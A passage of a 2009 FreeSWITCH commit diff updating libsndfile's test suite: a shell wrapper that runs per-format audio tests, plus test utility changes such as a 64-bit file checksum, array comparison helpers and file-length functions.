+	exit_if_true (str == NULL, "\n\nLine %d : SF_STR_TITLE string is NULL.\n", __LINE__) ;
+	exit_if_true (strcmp (str, title) != 0, "\n\nLine %d : SF_STR_TITLE doesn't match what was written.\n", __LINE__) ;
+
+	str = sf_get_string (file, SF_STR_ARTIST) ;
+	exit_if_true (str == NULL, "\n\nLine %d : SF_STR_ARTIST string is NULL.\n", __LINE__) ;
+	exit_if_true (strcmp (str, artist) != 0, "\n\nLine %d : SF_STR_ARTIST doesn't match what was written.\n", __LINE__) ;
+
+	sf_close (file) ;
+	unlink (filename) ;
+
+	puts ("ok") ;
+} /* string_short_rdwr_test */
+
+static int
+str_count (const char * haystack, const char * needle)
+{	int count = 0 ;
+
+	while ((haystack = strstr (haystack, needle)) != NULL)
+	{	count ++ ;
+		haystack ++ ;
+		} ;
+
+	return count ;
+} /* str_count */
+

Copied: freeswitch/branches/seven/libs/libsndfile/tests/test_wrapper.sh.in (from rev 14471, freeswitch/trunk/libs/libsndfile/tests/test_wrapper.sh.in) (0 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/test_wrapper.sh.in	                        (rev 0)
+++ freeswitch/branches/seven/libs/libsndfile/tests/test_wrapper.sh.in	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,281 @@
+#!/bin/sh
+
+if [ -f tests/sfversion@EXEEXT@ ]; then
+	cd tests
+	fi
+
+if [ ! -f sfversion@EXEEXT@ ]; then
+	echo "Not able to find test executables."
+	exit 1
+	fi
+
+sfversion=`./sfversion@EXEEXT@`
+
+# Force exit on errors.
+set -e
+
+# generic-tests
+uname -a
+./error_test@EXEEXT@
+./pcm_test@EXEEXT@
+./ulaw_test@EXEEXT@
+./alaw_test@EXEEXT@
+./dwvw_test@EXEEXT@
+./command_test@EXEEXT@ ver
+./command_test@EXEEXT@ norm
+./command_test@EXEEXT@ format
+./command_test@EXEEXT@ peak
+./command_test@EXEEXT@ trunc
+./command_test@EXEEXT@ inst
+./command_test@EXEEXT@ current_sf_info
+./command_test@EXEEXT@ bext
+./command_test@EXEEXT@ bextch
+./floating_point_test@EXEEXT@
+./checksum_test@EXEEXT@
+./scale_clip_test@EXEEXT@
+./headerless_test@EXEEXT@
+./locale_test@EXEEXT@
+./win32_ordinal_test@EXEEXT@
+./external_libs_test@EXEEXT@
+./cpp_test@EXEEXT@
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed common tests."
+echo "----------------------------------------------------------------------"
+
+# aiff-tests
+./write_read_test@EXEEXT@ aiff
+./lossy_comp_test@EXEEXT@ aiff_ulaw
+./lossy_comp_test@EXEEXT@ aiff_alaw
+./lossy_comp_test@EXEEXT@ aiff_gsm610
+echo "=========================="
+echo "./lossy_comp_test@EXEEXT@ aiff_ima"
+echo "=========================="
+./peak_chunk_test@EXEEXT@ aiff
+./header_test@EXEEXT@ aiff
+./misc_test@EXEEXT@ aiff
+./string_test@EXEEXT@ aiff
+./multi_file_test@EXEEXT@ aiff
+./aiff_rw_test@EXEEXT@
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on AIFF files."
+echo "----------------------------------------------------------------------"
+
+# au-tests
+./write_read_test@EXEEXT@ au
+./lossy_comp_test@EXEEXT@ au_ulaw
+./lossy_comp_test@EXEEXT@ au_alaw
+./lossy_comp_test@EXEEXT@ au_g721
+./lossy_comp_test@EXEEXT@ au_g723
+./header_test@EXEEXT@ au
+./misc_test@EXEEXT@ au
+./multi_file_test@EXEEXT@ au
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on AU files."
+echo "----------------------------------------------------------------------"
+
+# caf-tests
+./write_read_test@EXEEXT@ caf
+./lossy_comp_test@EXEEXT@ caf_ulaw
+./lossy_comp_test@EXEEXT@ caf_alaw
+./header_test@EXEEXT@ caf
+./misc_test@EXEEXT@ caf
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on CAF files."
+echo "----------------------------------------------------------------------"
+
+# wav-tests
+./write_read_test@EXEEXT@ wav
+./lossy_comp_test@EXEEXT@ wav_pcm
+./lossy_comp_test@EXEEXT@ wav_ima
+./lossy_comp_test@EXEEXT@ wav_msadpcm
+./lossy_comp_test@EXEEXT@ wav_ulaw
+./lossy_comp_test@EXEEXT@ wav_alaw
+./lossy_comp_test@EXEEXT@ wav_gsm610
+./lossy_comp_test@EXEEXT@ wav_g721
+./peak_chunk_test@EXEEXT@ wav
+./header_test@EXEEXT@ wav
+./misc_test@EXEEXT@ wav
+./string_test@EXEEXT@ wav
+./multi_file_test@EXEEXT@ wav
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on WAV files."
+echo "----------------------------------------------------------------------"
+
+# w64-tests
+./write_read_test@EXEEXT@ w64
+./lossy_comp_test@EXEEXT@ w64_ima
+./lossy_comp_test@EXEEXT@ w64_msadpcm
+./lossy_comp_test@EXEEXT@ w64_ulaw
+./lossy_comp_test@EXEEXT@ w64_alaw
+./lossy_comp_test@EXEEXT@ w64_gsm610
+./header_test@EXEEXT@ w64
+./misc_test@EXEEXT@ w64
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on W64 files."
+echo "----------------------------------------------------------------------"
+
+# rf64-tests
+./write_read_test@EXEEXT@ rf64
+./header_test@EXEEXT@ rf64
+./misc_test@EXEEXT@ rf64
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on RF64 files."
+echo "----------------------------------------------------------------------"
+
+# raw-tests
+./write_read_test@EXEEXT@ raw
+./lossy_comp_test@EXEEXT@ raw_ulaw
+./lossy_comp_test@EXEEXT@ raw_alaw
+./lossy_comp_test@EXEEXT@ raw_gsm610
+./lossy_comp_test@EXEEXT@ vox_adpcm
+./raw_test@EXEEXT@
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on RAW (header-less) files."
+echo "----------------------------------------------------------------------"
+
+# paf-tests
+./write_read_test@EXEEXT@ paf
+./header_test@EXEEXT@ paf
+./misc_test@EXEEXT@ paf
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on PAF files."
+echo "----------------------------------------------------------------------"
+
+# svx-tests
+./write_read_test@EXEEXT@ svx
+./header_test@EXEEXT@ svx
+./misc_test@EXEEXT@ svx
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on SVX files."
+echo "----------------------------------------------------------------------"
+
+# nist-tests
+./write_read_test@EXEEXT@ nist
+./lossy_comp_test@EXEEXT@ nist_ulaw
+./lossy_comp_test@EXEEXT@ nist_alaw
+./header_test@EXEEXT@ nist
+./misc_test@EXEEXT@ nist
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on NIST files."
+echo "----------------------------------------------------------------------"
+
+# ircam-tests
+./write_read_test@EXEEXT@ ircam
+./lossy_comp_test@EXEEXT@ ircam_ulaw
+./lossy_comp_test@EXEEXT@ ircam_alaw
+./header_test@EXEEXT@ ircam
+./misc_test@EXEEXT@ ircam
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on IRCAM files."
+echo "----------------------------------------------------------------------"
+
+# voc-tests
+./write_read_test@EXEEXT@ voc
+./lossy_comp_test@EXEEXT@ voc_ulaw
+./lossy_comp_test@EXEEXT@ voc_alaw
+./header_test@EXEEXT@ voc
+./misc_test@EXEEXT@ voc
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on VOC files."
+echo "----------------------------------------------------------------------"
+
+# mat4-tests
+./write_read_test@EXEEXT@ mat4
+./header_test@EXEEXT@ mat4
+./misc_test@EXEEXT@ mat4
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on MAT4 files."
+echo "----------------------------------------------------------------------"
+
+# mat5-tests
+./write_read_test@EXEEXT@ mat5
+./header_test@EXEEXT@ mat5
+./misc_test@EXEEXT@ mat5
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on MAT5 files."
+echo "----------------------------------------------------------------------"
+
+# pvf-tests
+./write_read_test@EXEEXT@ pvf
+./header_test@EXEEXT@ pvf
+./misc_test@EXEEXT@ pvf
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on PVF files."
+echo "----------------------------------------------------------------------"
+
+# xi-tests
+./lossy_comp_test@EXEEXT@ xi_dpcm
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on XI files."
+echo "----------------------------------------------------------------------"
+
+# htk-tests
+./write_read_test@EXEEXT@ htk
+./header_test@EXEEXT@ htk
+./misc_test@EXEEXT@ htk
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on HTK files."
+echo "----------------------------------------------------------------------"
+
+# avr-tests
+./write_read_test@EXEEXT@ avr
+./header_test@EXEEXT@ avr
+./misc_test@EXEEXT@ avr
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on AVR files."
+echo "----------------------------------------------------------------------"
+
+# sds-tests
+./write_read_test@EXEEXT@ sds
+./header_test@EXEEXT@ sds
+./misc_test@EXEEXT@ sds
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on SDS files."
+echo "----------------------------------------------------------------------"
+
+# sd2-tests
+./write_read_test@EXEEXT@ sd2
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on SD2 files."
+echo "----------------------------------------------------------------------"
+
+# wve-tests
+./lossy_comp_test@EXEEXT@ wve
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on WVE files."
+echo "----------------------------------------------------------------------"
+
+# mpc2k-tests
+./write_read_test@EXEEXT@ mpc2k
+./header_test@EXEEXT@ mpc2k
+./misc_test@EXEEXT@ mpc2k
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on MPC 2000 files."
+echo "----------------------------------------------------------------------"
+
+# flac-tests
+./write_read_test@EXEEXT@ flac
+./string_test@EXEEXT@ flac
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on FLAC files."
+echo "----------------------------------------------------------------------"
+
+# vorbis-tests
+./ogg_test@EXEEXT@
+./vorbis_test@EXEEXT@
+./lossy_comp_test@EXEEXT@ ogg_vorbis
+./string_test@EXEEXT@ ogg
+./misc_test@EXEEXT@ ogg
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed tests on OGG/VORBIS files."
+echo "----------------------------------------------------------------------"
+
+# io-tests
+./stdio_test@EXEEXT@
+./pipe_test@EXEEXT@
+./virtual_io_test@EXEEXT@
+echo "----------------------------------------------------------------------"
+echo "  $sfversion passed stdio/pipe/vio tests."
+echo "----------------------------------------------------------------------"
+
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/ulaw_test.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/ulaw_test.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/ulaw_test.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2004 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -253,10 +253,3 @@
     return sample ;
 } /* ulaw_decode */
 
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch 
-** revision control system.
-**
-** arch-tag: e764cee1-5a9a-480b-a4ca-34d9b57dea6f
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/tests/utils.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/utils.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/utils.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -29,6 +29,7 @@
 
 #include <stdio.h>
 #include <stdlib.h>
+#include <inttypes.h>
 
 #if HAVE_UNISTD_H
 #include <unistd.h>
@@ -55,7 +56,16 @@
 
 #define	LOG_BUFFER_SIZE		2048
 
+/*
+**	Neat solution to the Win32/OS2 binary file flage requirement.
+**	If O_BINARY isn't already defined by the inclusion of the system
+**	headers, set it to zero.
+*/
+#ifndef O_BINARY
+#define O_BINARY 0
+#endif
 
+
 void
 gen_windowed_sine_float (float *data, int len, double maximum)
 {	int k ;
@@ -104,42 +114,57 @@
 
 
 void
-check_file_hash_or_die (const char *filename, unsigned int target_hash, int line_num)
-{	static unsigned char	buffer [2048] ;
-	unsigned int	hash1, hash2 ;
-	FILE 	*file ;
-	int		k, read_count ;
+create_short_sndfile (const char *filename, int format, int channels)
+{	short data [2 * 3 * 4 * 5 * 6 * 7] = { 0, } ;
+	SNDFILE *file ;
+	SF_INFO sfinfo ;
 
-	memset (buffer, 0xEE, sizeof (buffer)) ;
+	sfinfo.samplerate = 44100 ;
+	sfinfo.channels = channels ;
+	sfinfo.format = format ;
 
+	if ((file = sf_open (filename, SFM_WRITE, &sfinfo)) == NULL)
+	{	printf ("Error (%s, %d) : sf_open failed : %s\n", __FILE__, __LINE__, sf_strerror (file)) ;
+		exit (1) ;
+		} ;
+
+	sf_write_short (file, data, ARRAY_LEN (data)) ;
+
+	sf_close (file) ;
+} /* create_short_sndfile */
+
+void
+check_file_hash_or_die (const char *filename, uint64_t target_hash, int line_num)
+{	static unsigned char buf [4096] ;
+	uint64_t	cksum ;
+	FILE 		*file ;
+	int			k, read_count ;
+
+	memset (buf, 0, sizeof (buf)) ;
+
 	/* The 'b' in the mode string means binary for Win32. */
-	if (! (file = fopen (filename, "rb")))
+	if ((file = fopen (filename, "rb")) == NULL)
 	{	printf ("\n\nLine %d: could not open file '%s'\n\n", line_num, filename) ;
 		exit (1) ;
 		} ;
 
-	hash1 = hash2 = 0 ;
+	cksum = 0 ;
 
-	while ((read_count = fread (buffer, 1, sizeof (buffer), file)))
-	{	for (k = 0 ; k < read_count ; k++)
-		{	hash1 = hash1 + buffer [k] ;
-			hash2 = hash2 ^ (buffer [k] << (k % 25)) ;
-			} ;
-		} ;
+	while ((read_count = fread (buf, 1, sizeof (buf), file)))
+		for (k = 0 ; k < read_count ; k++)
+			cksum = cksum * 511 + buf [k] ;
 
 	fclose (file) ;
 
-	hash1 += hash2 ;
-
 	if (target_hash == 0)
-	{	printf (" 0x%08x ", hash1) ;
+	{	printf (" 0x%016" PRIx64 "\n", cksum) ;
 		return ;
 		} ;
 
-	if (hash1 != target_hash)
-	{	printf ("\n\nLine %d: incorrect hash value 0x%08x should be 0x%08x\n\n", line_num, hash1, target_hash) ;
+	if (cksum != target_hash)
+	{	printf ("\n\nLine %d: incorrect hash value 0x%016" PRIx64 " should be 0x%016" PRIx64 ".\n\n", line_num, cksum, target_hash) ;
 		exit (1) ;
-		}
+		} ;
 
 	return ;
 } /* check_file_hash_or_die */
@@ -148,14 +173,20 @@
 print_test_name (const char *test, const char *filename)
 {	int count ;
 
-	if (test == NULL || filename == NULL)
+	if (test == NULL)
 	{	printf (__FILE__ ": bad test of filename parameter.\n") ;
 		exit (1) ;
 		} ;
 
-	printf ("    %-25s : %s ", test, filename) ;
+	if (filename == NULL || strlen (filename) == 0)
+	{	printf ("    %-30s : ", test) ;
+		count = 25 ;
+		}
+	else
+	{	printf ("    %-30s : %s ", test, filename) ;
+		count = 24 - strlen (filename) ;
+		} ;
 
-	count = 24 - strlen (filename) ;
 	while (count -- > 0)
 		putchar ('.') ;
 	putchar (' ') ;
@@ -164,7 +195,7 @@
 } /* print_test_name */
 
 void
-dump_data_to_file (const char *filename, void *data, unsigned int datalen)
+dump_data_to_file (const char *filename, const void *data, unsigned int datalen)
 {	FILE *file ;
 
 	if ((file = fopen (filename, "wb")) == NULL)
@@ -187,7 +218,7 @@
 static char octfilename [] = "error.dat" ;
 
 int
-oct_save_short	(short *a, short *b, int len)
+oct_save_short	(const short *a, const short *b, int len)
 {	FILE 	*file ;
 	int		k ;
 
@@ -202,7 +233,7 @@
 	fprintf (file, "# columns: 1\n") ;
 
 	for (k = 0 ; k < len ; k++)
-		fprintf (file, "% d\n", a [k]) ;
+		fprintf (file, "% d" "\n", a [k]) ;
 
 	fprintf (file, "# name: b\n") ;
 	fprintf (file, "# type: matrix\n") ;
@@ -210,13 +241,13 @@
 	fprintf (file, "# columns: 1\n") ;
 
 	for (k = 0 ; k < len ; k++)
-		fprintf (file, "% d\n", b [k]) ;
+		fprintf (file, "% d" "\n", b [k]) ;
 
 	fclose (file) ;
 	return 0 ;
 } /* oct_save_short */
 int
-oct_save_int	(int *a, int *b, int len)
+oct_save_int	(const int *a, const int *b, int len)
 {	FILE 	*file ;
 	int		k ;
 
@@ -231,7 +262,7 @@
 	fprintf (file, "# columns: 1\n") ;
 
 	for (k = 0 ; k < len ; k++)
-		fprintf (file, "% d\n", a [k]) ;
+		fprintf (file, "% d" "\n", a [k]) ;
 
 	fprintf (file, "# name: b\n") ;
 	fprintf (file, "# type: matrix\n") ;
@@ -239,13 +270,13 @@
 	fprintf (file, "# columns: 1\n") ;
 
 	for (k = 0 ; k < len ; k++)
-		fprintf (file, "% d\n", b [k]) ;
+		fprintf (file, "% d" "\n", b [k]) ;
 
 	fclose (file) ;
 	return 0 ;
 } /* oct_save_int */
 int
-oct_save_float	(float *a, float *b, int len)
+oct_save_float	(const float *a, const float *b, int len)
 {	FILE 	*file ;
 	int		k ;
 
@@ -260,7 +291,7 @@
 	fprintf (file, "# columns: 1\n") ;
 
 	for (k = 0 ; k < len ; k++)
-		fprintf (file, "% g\n", a [k]) ;
+		fprintf (file, "% g" "\n", a [k]) ;
 
 	fprintf (file, "# name: b\n") ;
 	fprintf (file, "# type: matrix\n") ;
@@ -268,13 +299,13 @@
 	fprintf (file, "# columns: 1\n") ;
 
 	for (k = 0 ; k < len ; k++)
-		fprintf (file, "% g\n", b [k]) ;
+		fprintf (file, "% g" "\n", b [k]) ;
 
 	fclose (file) ;
 	return 0 ;
 } /* oct_save_float */
 int
-oct_save_double	(double *a, double *b, int len)
+oct_save_double	(const double *a, const double *b, int len)
 {	FILE 	*file ;
 	int		k ;
 
@@ -289,7 +320,7 @@
 	fprintf (file, "# columns: 1\n") ;
 
 	for (k = 0 ; k < len ; k++)
-		fprintf (file, "% g\n", a [k]) ;
+		fprintf (file, "% g" "\n", a [k]) ;
 
 	fprintf (file, "# name: b\n") ;
 	fprintf (file, "# type: matrix\n") ;
@@ -297,7 +328,7 @@
 	fprintf (file, "# columns: 1\n") ;
 
 	for (k = 0 ; k < len ; k++)
-		fprintf (file, "% g\n", b [k]) ;
+		fprintf (file, "% g" "\n", b [k]) ;
 
 	fclose (file) ;
 	return 0 ;
@@ -447,19 +478,19 @@
 	switch (mode)
 	{	case SFM_READ :
 				modestr = "SFM_READ" ;
-				oflags = O_RDONLY ;
+				oflags = O_RDONLY | O_BINARY ;
 				omode = 0 ;
 				break ;
 
 		case SFM_WRITE :
 				modestr = "SFM_WRITE" ;
-				oflags = O_WRONLY | O_CREAT | O_TRUNC ;
+				oflags = O_WRONLY | O_CREAT | O_TRUNC | O_BINARY ;
 				omode = S_IRUSR | S_IWUSR | S_IRGRP ;
 				break ;
 
 		case SFM_RDWR :
 				modestr = "SFM_RDWR" ;
-				oflags = O_RDWR | O_CREAT ;
+				oflags = O_RDWR | O_CREAT | O_BINARY ;
 				omode = S_IRUSR | S_IWUSR | S_IRGRP ;
 				break ;
 		default :
@@ -468,18 +499,15 @@
 				exit (1) ;
 		} ;
 
-#if (defined (WIN32) || defined (_WIN32))
-	/* Stupid fscking windows. */
-	oflags |= O_BINARY ;
-#endif
+	if (OS_IS_WIN32)
+	{	/* Windows doesn't support Unix file permissions so set it to zero. */
+		omode = 0 ;
+		} ;
 
 	if (allow_fd && ((++count) & 1) == 1)
 	{	int fd ;
 
-		if (omode == 0)
-			fd = open (filename, oflags) ;
-		else
-			fd = open (filename, oflags, omode) ;
+		fd = open (filename, oflags, omode) ;
 
 		if (fd < 0)
 		{	perror ("open") ;
@@ -880,6 +908,61 @@
 
 
 void
+compare_short_or_die (const short *left, const short *right, unsigned count, int line_num)
+{
+	unsigned k ;
+
+	for (k = 0 ; k < count ;k++)
+		if (left [k] != right [k])
+		{	printf ("\n\nLine %d : Error at index %d, " "% d" " should be " "% d" ".\n\n", line_num, k, left [k], right [k]) ;
+			exit (1) ;
+			} ;
+
+	return ;
+} /* compare_short_or_die */
+void
+compare_int_or_die (const int *left, const int *right, unsigned count, int line_num)
+{
+	unsigned k ;
+
+	for (k = 0 ; k < count ;k++)
+		if (left [k] != right [k])
+		{	printf ("\n\nLine %d : Error at index %d, " "% d" " should be " "% d" ".\n\n", line_num, k, left [k], right [k]) ;
+			exit (1) ;
+			} ;
+
+	return ;
+} /* compare_int_or_die */
+void
+compare_float_or_die (const float *left, const float *right, unsigned count, int line_num)
+{
+	unsigned k ;
+
+	for (k = 0 ; k < count ;k++)
+		if (left [k] != right [k])
+		{	printf ("\n\nLine %d : Error at index %d, " "% g" " should be " "% g" ".\n\n", line_num, k, left [k], right [k]) ;
+			exit (1) ;
+			} ;
+
+	return ;
+} /* compare_float_or_die */
+void
+compare_double_or_die (const double *left, const double *right, unsigned count, int line_num)
+{
+	unsigned k ;
+
+	for (k = 0 ; k < count ;k++)
+		if (left [k] != right [k])
+		{	printf ("\n\nLine %d : Error at index %d, " "% g" " should be " "% g" ".\n\n", line_num, k, left [k], right [k]) ;
+			exit (1) ;
+			} ;
+
+	return ;
+} /* compare_double_or_die */
+
+
+
+void
 delete_file (int format, const char *filename)
 {	char rsrc_name [512], *fname ;
 
@@ -959,6 +1042,75 @@
 #endif
 } /* check_open_file_count_or_die */
 
+void
+write_mono_file (const char * filename, int format, int srate, float * output, int len)
+{	SNDFILE * file ;
+	SF_INFO sfinfo ;
 
+	memset (&sfinfo, 0, sizeof (sfinfo)) ;
 
+	sfinfo.samplerate = srate ;
+	sfinfo.channels = 1 ;
+	sfinfo.format = format ;
 
+	if ((file = sf_open (filename, SFM_WRITE, &sfinfo)) == NULL)
+	{	printf ("sf_open (%s) : %s\n", filename, sf_strerror (NULL)) ;
+		exit (1) ;
+		} ;
+
+	sf_write_float (file, output, len) ;
+
+	sf_close (file) ;
+} /* write_mono_file */
+
+void
+gen_lowpass_noise_float (float *data, int len)
+{	int32_t value = 0x1243456 ;
+	double sample, last_val = 0.0 ;
+	int k ;
+
+	for (k = 0 ; k < len ; k++)
+	{	/* Not a crypto quality RNG. */
+		value = 11117 * value + 211231 ;
+		value = 11117 * value + 211231 ;
+		value = 11117 * value + 211231 ;
+
+		sample = value / (0x7fffffff * 1.000001) ;
+		sample = 0.2 * sample - 0.9 * last_val ;
+
+		data [k] = last_val = sample ;
+		} ;
+
+} /* gen_lowpass_noise_float */
+
+
+/*
+**	Windows is fucked.
+**	If a file is opened R/W and data is written to it, then fstat will return
+**	the correct file length, but stat will return zero.
+*/
+
+sf_count_t
+file_length (const char * fname)
+{	struct stat data ;
+
+	if (stat (fname, &data) != 0)
+		return 0 ;
+
+	return (sf_count_t) data.st_size ;
+} /* file_length */
+
+sf_count_t
+file_length_fd (int fd)
+{	struct stat data ;
+
+	memset (&data, 0, sizeof (data)) ;
+	if (fstat (fd, &data) != 0)
+		return 0 ;
+
+	return (sf_count_t) data.st_size ;
+} /* file_length_fd */
+
+
+
+

Modified: freeswitch/branches/seven/libs/libsndfile/tests/utils.def (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/utils.def	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/utils.def	2009-08-09 18:53:22 UTC (rev 14472)
@@ -12,22 +12,22 @@
 
 io_type = {
 	io_element	= short ;
-	format_str		= "\"% d\\n\"" ;
+	format_str		= "\"% d\"" ;
 	};
 
 io_type = {
 	io_element	= int ;
-	format_str		= "\"% d\\n\"" ;
+	format_str		= "\"% d\"" ;
 	};
 
 io_type = {
 	io_element	= float ;
-	format_str		= "\"% g\\n\"" ;
+	format_str		= "\"% g\"" ;
 	};
 
 io_type = {
 	io_element 	= double ;
-	format_str		= "\"% g\\n\"" ;
+	format_str		= "\"% g\"" ;
 	};
 
 read_op = {
@@ -49,11 +49,4 @@
 	op_element	= writef ;
 	count_name	= frames ;
 	};
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 735898a2-711e-42c2-aaf1-354b20c07ac7
-*/
 

Modified: freeswitch/branches/seven/libs/libsndfile/tests/utils.h (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/utils.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/utils.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 2002-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -29,6 +29,7 @@
 extern "C" {
 #endif	/* __cplusplus */
 
+#include <stdint.h>
 #include <stdarg.h>
 #include <stdlib.h>
 #include <string.h>
@@ -40,7 +41,7 @@
 #define	PIPE_INDEX(x)	((x) + 500)
 #define	PIPE_TEST_LEN	12345
 
-#if (defined (WIN32) || defined (_WIN32))
+#if (defined (WIN32) || defined (_WIN32) || defined (__OS2__))
 #define	snprintf	_snprintf
 #endif
 
@@ -48,12 +49,16 @@
 void gen_windowed_sine_double (double *data, int len, double maximum) ;
 
 
-void	check_file_hash_or_die	(const char *filename, unsigned int target_hash, int line_num) ;
+void	create_short_sndfile (const char *filename, int format, int channels) ;
 
+void	check_file_hash_or_die	(const char *filename, uint64_t target_hash, int line_num) ;
+
 void	print_test_name (const char *test, const char *filename) ;
 
-void	dump_data_to_file (const char *filename, void *data, unsigned int datalen) ;
+void	dump_data_to_file (const char *filename, const void *data, unsigned int datalen) ;
 
+void	write_mono_file (const char * filename, int format, int srate, float * output, int len) ;
+
 static inline void
 exit_if_true (int test, const char *format, ...)
 {	if (test)
@@ -70,10 +75,10 @@
 **	can then be loaded into GNU octave for comparison.
 */
 
-int	oct_save_short	(short *a, short *b, int len) ;
-int	oct_save_int	(int *a, int *b, int len) ;
-int	oct_save_float	(float *a, float *b, int len) ;
-int	oct_save_double	(double *a, double *b, int len) ;
+int	oct_save_short	(const short *a, const short *b, int len) ;
+int	oct_save_int	(const int *a, const int *b, int len) ;
+int	oct_save_float	(const float *a, const float *b, int len) ;
+int	oct_save_double	(const double *a, const double *b, int len) ;
 
 
 void	delete_file (int format, const char *filename) ;
@@ -139,6 +144,18 @@
 			(SNDFILE *file, int pass, const double *test, sf_count_t frames, int line_num) ;
 
 
+void compare_short_or_die (const short *left, const short *right, unsigned count, int line_num) ;
+void compare_int_or_die (const int *left, const int *right, unsigned count, int line_num) ;
+void compare_float_or_die (const float *left, const float *right, unsigned count, int line_num) ;
+void compare_double_or_die (const double *left, const double *right, unsigned count, int line_num) ;
+
+
+
+void	gen_lowpass_noise_float (float *data, int len) ;
+
+sf_count_t		file_length (const char * fname) ;
+sf_count_t		file_length_fd (int fd) ;
+
 #endif
 
 #ifdef __cplusplus
@@ -147,4 +164,3 @@
 
 
 
-

Modified: freeswitch/branches/seven/libs/libsndfile/tests/utils.tpl (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/tests/utils.tpl	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/tests/utils.tpl	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,6 +1,6 @@
 [+ AutoGen5 template h c +]
 /*
-** Copyright (C) 2002-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 2002-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU General Public License as published by
@@ -31,6 +31,7 @@
 extern "C" {
 #endif	/* __cplusplus */
 
+#include <stdint.h>
 #include <stdarg.h>
 
 #define SF_COUNT_TO_LONG(x)	((long) (x))
@@ -40,7 +41,7 @@
 #define	PIPE_INDEX(x)	((x) + 500)
 #define	PIPE_TEST_LEN	12345
 
-#if (defined (WIN32) || defined (_WIN32))
+#if (defined (WIN32) || defined (_WIN32) || defined (__OS2__))
 #define	snprintf	_snprintf
 #endif
 
@@ -49,12 +50,16 @@
 [+ ENDFOR float_type
 +]
 
-void	check_file_hash_or_die	(const char *filename, unsigned int target_hash, int line_num) ;
+void	create_short_sndfile (const char *filename, int format, int channels) ;
 
+void	check_file_hash_or_die	(const char *filename, uint64_t target_hash, int line_num) ;
+
 void	print_test_name (const char *test, const char *filename) ;
 
-void	dump_data_to_file (const char *filename, void *data, unsigned int datalen) ;
+void	dump_data_to_file (const char *filename, const void *data, unsigned int datalen) ;
 
+void	write_mono_file (const char * filename, int format, int srate, float * output, int len) ;
+
 static inline void
 exit_if_true (int test, const char *format, ...)
 {	if (test)
@@ -72,7 +77,7 @@
 */
 
 [+ FOR io_type
-+]int	oct_save_[+ (get "io_element") +]	([+ (get "io_element") +] *a, [+ (get "io_element") +] *b, int len) ;
++]int	oct_save_[+ (get "io_element") +]	(const [+ (get "io_element") +] *a, const [+ (get "io_element") +] *b, int len) ;
 [+ ENDFOR io_type
 +]
 
@@ -111,6 +116,16 @@
 			(SNDFILE *file, int pass, const [+ (get "io_element") +] *test, sf_count_t [+ (get "count_name") +], int line_num) ;
